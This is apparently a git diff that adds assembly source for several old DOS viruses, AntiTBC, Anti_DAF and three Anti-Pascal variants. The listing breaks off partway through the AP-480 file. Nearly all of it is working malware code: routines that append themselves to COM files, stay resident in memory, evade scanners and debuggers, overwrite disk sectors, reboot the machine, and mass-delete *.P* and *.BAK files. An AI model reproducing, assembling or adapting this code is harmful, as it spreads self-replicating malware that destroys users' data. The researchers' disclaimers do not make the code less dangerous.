mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-7 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h +infectend: + pop ds + pop dx + pop cx + pop bx + pop ax + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? +last: +end entry + diff --git a/a/ANTITBC.ASM b/a/ANTITBC.ASM new file mode 100755 index 0000000..3141cad --- /dev/null +++ b/a/ANTITBC.ASM @@ -0,0 +1,176 @@ +; AntiTBC - written by Conzouler/IR 1995 +; +; Based on RSV. +; +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; no f-prot heuristics +; fools tbclean (look at the restore routine) +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 2 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ; Initial jump +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Mark owner of memory + mov ax, 3521h ; Get interrupt vector + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec21 + int 21h + +restore: + mov di, 100h + push cs ; Set es and ds to psp + pop ds + push ds + pop es + pop si ; Get entry point + push di ; Save it + + +; This piece of code will fool a debugger + + ; Check if debugger + jmp clear ; Clear prefetch queue +clear: mov byte ptr [$+6], 0 ; Disable next jump + jmp nodebug ; This jump will be + ; disabled if debugger. + ; Hohoho.. A debugger or TB-Clean... + ; Move destructive code to beginning instead + mov cx, efflen + add si, offset effect - offset oentry + rep movsb + retn + +nodebug: + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + +effect: + ; This is the effect that will run if a debugger is used. + ; Reboot + db 0EAh, 000h, 0F0h, 0FFh, 0FFh ; Jump FFFF:F000 +efflen equ $ - offset effect + + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret +v21e: cmp ax, 4B00h ; Execute program + jne v21x + + push ax ; Infect file + push bx + push cx + push dx + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + + int 21h + cmp byte ptr last[2], 0EAh ; Check if infected + je infectx + + mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-7 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop dx + pop cx + pop bx + pop ax + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? +last: +end entry + diff --git a/a/ANTI_DAF.ASM b/a/ANTI_DAF.ASM new file mode 100755 index 0000000..0207bac --- /dev/null +++ b/a/ANTI_DAF.ASM @@ -0,0 +1,290 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* The Anti_DAF Virus * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 1992 Dark Helmet & The Virus Research Centre, The Netherlands * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Special greetings and thanx to : * +;* Glenn Benton, XSTC for their nice source and viruses, * +;* Peter Venkman for his BBS, Guns and Roses for their great music, * +;* and al the other viruswriters... * +;* * +;* "Dark Helmet strikes back..." * +;* * +;*--------------------------------------------------------------------------* +;* * +;* NOTE : This virus will overwrite the first sectors of the active drive * +;* on any monday in November. * +;* * +;* Coming soon : CIVIL WAR II * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Het Anti-DAF virus is hoofzakelijk gebaseerd op The Navigator virus * +;* De encryptie die bij Anti-DAF gebruikt wordt is gebaseerd * +;* op de encryptie zoals deze door Glenn Benton gebruikt is * +;* bij het 'RTL4/Wedden dat virus'. * +;* Om de controleren of een file geinfecteerd is worden de 4e, 5e en 6e * +;* bytes aan het begin gebruikt. * +;* * +;* XOR de 4e en 5e byte * +;* Verhoog resultaat met 1 * +;* Vergelijk met 6e byte * +;* * +;* Is het resultaat gelijk dan is de file al besmet, de 6e byte word ook * +;* voor de decryptie gebruikt. * +;* Verlaag deze waarde met 1 en je hebt de sleutel zoals deze bij de * +;* decrypty in gebruik is. * +;* Het 4e byte word bepaald uit de lengte van de file + 1. * +;* De 5e byte word bepaald door het aantal seconden van * +;* de systeemtijd te pakken. * +;* * +;* Dark Helmet * +;* * +;**************************************************************************** + + .Radix 16 + +Anti_DAF Segment + Assume cs:Anti_DAF, ds:Anti_DAF + org 100h + +len equ offset last - begin +vir_len equ offset last - vir_start + +Dummy: db 0e9h, 03h, 00h +Key: db 000h, 00h, 01h + +Begin: call virus ; IP op stack + +Virus: pop bp ; Haal IP van Stack + sub bp,109h + lea si,vir_start+[bp] ; voor decryptie + mov di,si + mov cx,vir_len ; lengte decryptie gedeelte + mov ah,ds:[105h] ; haal sleutel op + dec ah ; sleutel met 1 verminderen + ; voor decryptie + +decrypt: lodsb ; decrypt virus + xor al,ah + stosb + loop decrypt + +vir_start: mov dx,0fe00h ; verplaats DTA + mov ah,1ah + int 21h + +restore_begin: mov di,0100h ; herstel begin programma + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + + mov ah,2ah ;kijk of het een maandag + int 21h ;in november is + cmp dh,00bh + jne no_activate + cmp al,01h + jne no_activate + +activate: mov ah,09h ; activeer het virus :-) + lea dx,[text+bp] ; druk text af + int 21h + mov ah,19h ; vraag drive op + int 21h + mov dx,0 ; overschrijf eerste sectors + mov cx,10h ; van huidige drive + mov bx,0 + int 26h + jmp exit + + + +no_activate: lea dx,[com_mask+bp] ; zoekt eerste .COM program + mov ah,04eh ; in directorie + xor cx,cx + int 21h + +Open_file: mov ax,03d02h ; open gevonden file + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h ;lees datum/tijd file + int 21h ;en bewaar deze + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] ; kijkt of al geinfecteerd + mov ah,03fh + mov cx,06h + lea dx,[buffer+bp] + int 21h + mov al,byte ptr [buffer+bp]+3 + xor al,byte ptr [buffer+bp]+4 + inc al + cmp al,byte ptr [buffer+bp]+5 + jne infect_file + +Close_file: mov bx,[handle+bp] ; sluit file + mov ah,3eh + int 21h + +Next_file: mov ah,4fh ; zoekt volgende file + int 21h + jnb open_file + jmp exit ; geen meer gevonden, + ; ga naar exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] ; lees lengte van file in + sub ax,03h + mov [lenght+bp],ax ; sla lengte op voor sprong + ; instructie zodadelijk + inc al ; verhoog AL, eerste key + mov [key1+bp],al + mov ah,2ch ; vraag systeemtijd op + int 21h + mov [key2+bp],dh ; gebruik seconden voor tweede + ; key + mov al,dh + xor al,[key1+bp] ; derde sleutel en sleutel + ; voor encrypty is een xor + ; van key1 en key2 + mov [sleutel+bp],al + lea si,vir_start+[bp] + mov di,0fd00h ; encrypt hele zooi aan het + ; einde van het segment + mov cx,vir_len + +Encrypt: lodsb ; de encryptie + xor al,[sleutel+bp] + stosb + loop encrypt + mov al,[sleutel+bp] + inc al + mov [sleutel+bp],al + +Write_jump: mov ax,04200h ; schrijf de jmp die het + call move_pointer ; die het virus aan het begin + mov ah,40h ; maakt + mov cx,01h + lea dx,[jump+bp] + int 21h + + mov ah,40h ; schrijf de offset die de jmp + mov cx,02h ; maakt + lea dx,[lenght+bp] + int 21h + + mov ah,40 ; schrijf de sleutels weg + mov cx,03h + lea dx,[key1+bp] + int 21h + +Write_virus: mov ax,4202h ; schrijf virus gedeelte + call move_pointer ; tot vir_start + mov ah,40h + mov cx,len - vir_len + lea dx,[begin+bp] + int 21h + mov ah,40h ; schrijf het encrypte virus + mov cx,vir_len ; achter de rest van het virus + mov dx,0fd00h + int 21h + +restore_date: mov dx,[date+bp] ; herstel datum/tijd + mov cx,[time+bp] ; geinfecteerde file + mov bx,[handle+bp] + mov ax,05701h + int 21h + +exit: mov bx,0100h ; continu met orgineel + jmp bx ; orgineel programma + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- + +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +lenght dw ? +jump db 0e9h,0 +text db 0ah,0ah,0dh,"The Anti-DAF virus",0ah,0dh + db "DAF-TRUCKS Eindhoven",0ah,0dh + db "Hugo vd Goeslaan 1",0ah,0dh + db "Postbus 90063",0ah,0dh + db "5600 PR Eindhoven, The Netherlands",0ah,0dh + db 0ah,"DAF sucks...",0ah,0dh + db "(c) 1992 Dark Helmet & The Virus Research Centre",0ah,0dh,"$",0 + +key1 db 00 +key2 db 00 +sleutel db 00 +last db 090h + +Anti_DAF ends + end dummy +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/a/AP-400.ASM b/a/AP-400.ASM new file mode 100755 index 0000000..0df91c3 --- /dev/null +++ b/a/AP-400.ASM @@ -0,0 +1,270 @@ + page ,132 + name AP400 + title The 'Anti-Pascal' virus, version AP-400 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Anti-Pascal' Virus, version AP-400 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) ; The original "program" + + mov ax,4C00 ; Just exit + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '?????????A?' +maxdrv db ? +sign db 'PAD' + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it + + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read sector #50 of the drive specified + mov dx,50d + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jnc wr_drive ; Write the information back if no error + + pop ax ; Restore AX + pop si ; Restore SI + +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives +xit: + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jnc cont ; Continue if no error + clc + jmp drv_xit ; Otherwise exit + +; Find first COM file on the current directory of the selected drive: + +cont: + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + mov ah,13 ; Delete all *.P* files in that dir + lea dx,[si+offset allp-v_const] + int 21 ; Do it + clc + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jc xit ; Exit on error + + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + \ No newline at end of file diff --git a/a/AP-440.ASM b/a/AP-440.ASM new file mode 100755 index 0000000..f472dd2 --- /dev/null +++ b/a/AP-440.ASM @@ -0,0 +1,284 @@ + page ,132 + name AP440 + title The 'Anti-Pascal' virus, version AP-440 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Anti-Pascal' Virus, version AP-440 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) + + mov ax,4C00 + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '????????P??' +allbak db 0, '????????BAK' +maxdrv db ? +sign db 'ICS 89' + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it + + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read the boot sector of the drive specified + xor dx,dx + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jc bad_drv ; Exit on error + + inc byte ptr [bx] ; Increment the first byte (?!) + cmp byte ptr [bx+1],6F ; Second byte == 111 (?!) + jne wr_drive ; Write the new values if not + +bad_drv: + pop ax ; Restore AX + pop si ; Restore SI +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jc drv_xit ; Exit on error + +; Find first COM file on the current directory of the selected drive: + + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + lea di,[si+offset v_end-v_const] + cmp byte ptr [di],'Z' + jb drv_xit + + mov ah,13 ; Delete all *.P* files in that dir + lea dx,[si+offset allp-v_const] + int 21 ; Do it + cmp al,-1 + je drv_xit ; Exit on error + + mov ah,13 ; Delete all *.BAK files too + lea dx,[si+offset allbak-v_const] + int 21 ; Do it + + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jnc inf_cont ; Continue if all OK +inf_xit: + ret ; Otherwise exit + +inf_cont: + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc inf_xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + \ No newline at end of file diff --git a/a/AP-480.ASM b/a/AP-480.ASM new file mode 100755 index 0000000..9a0520f --- /dev/null +++ b/a/AP-480.ASM @@ -0,0 +1,316 @@ + page ,132 + name AP480 + title The 'Anti-Pascal' virus, version AP-480 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Anti-Pascal' Virus, version AP-480 +; Disassembled by Vesselin Bontchev, June 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) + + mov ax,4C00 + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '????????P??' +allbak db 0, '????????BAK' +maxdrv db ? + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it + + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read the boot sector of the drive specified + xor dx,dx + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jc bad_drv ; Exit on error + + inc byte ptr [bx] ; Increment the first byte (?!) + cmp byte ptr [bx+1],6F ; Second byte == 111 (?!) + jne wr_drive ; Write the new values if not + +bad_drv: + pop ax ; Restore AX + pop si ; Restore SI +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jc drv_xit ; Exit on error + +; Find first COM file on the current directory of the selected drive: + + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + lea di,[si+offset v_end-v_const] + cmp byte ptr [di],80 + jb drv_xit + +; Form the current directory path at v_end: + + mov al,'\' ; '\' for the root + stosb ; Put that character + xchg si,di ; Save DI + + mov ah,47 ; Get current directory + xor dl,dl ; of the default drive and put it there too + int 21 ; Do it + + xchg si,di ; Restore DI + xor al,al ; Go to the end of paht (?!) + mov cx,64d + repne scasb ; Do it + dec di ; Go to the previous byte + + mov ah,13 ; Delete all *.P* files in that dir + lea dx,[si+offset allp-v_const] + int 21 ; Do it + cmp al,-1 + je drv_xit ; Exit on error + + mov ah,13 ; Delete all *.BAK files too + lea dx,[si+offset allbak-v_const] + int 21 ; Do it + + mov cx,20d ; Create 20 temporary files (?!) + mov ah,5A + lea dx,[si+offset v_end-v_const] + +creat_lp: + push cx ; Save registers used + push ax + push dx + mov byte ptr [di],0 + mov cx,7 ; With ReadOnly, Hidden and System attributes + int 21 ; Do it + + pop dx ; Save used registers + pop ax + pop cx + loop creat_lp ; Loop until done + + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jnc inf_cont ; Continue if all OK +inf_xit: + ret ; Otherwise exit + +inf_cont: + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc inf_xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 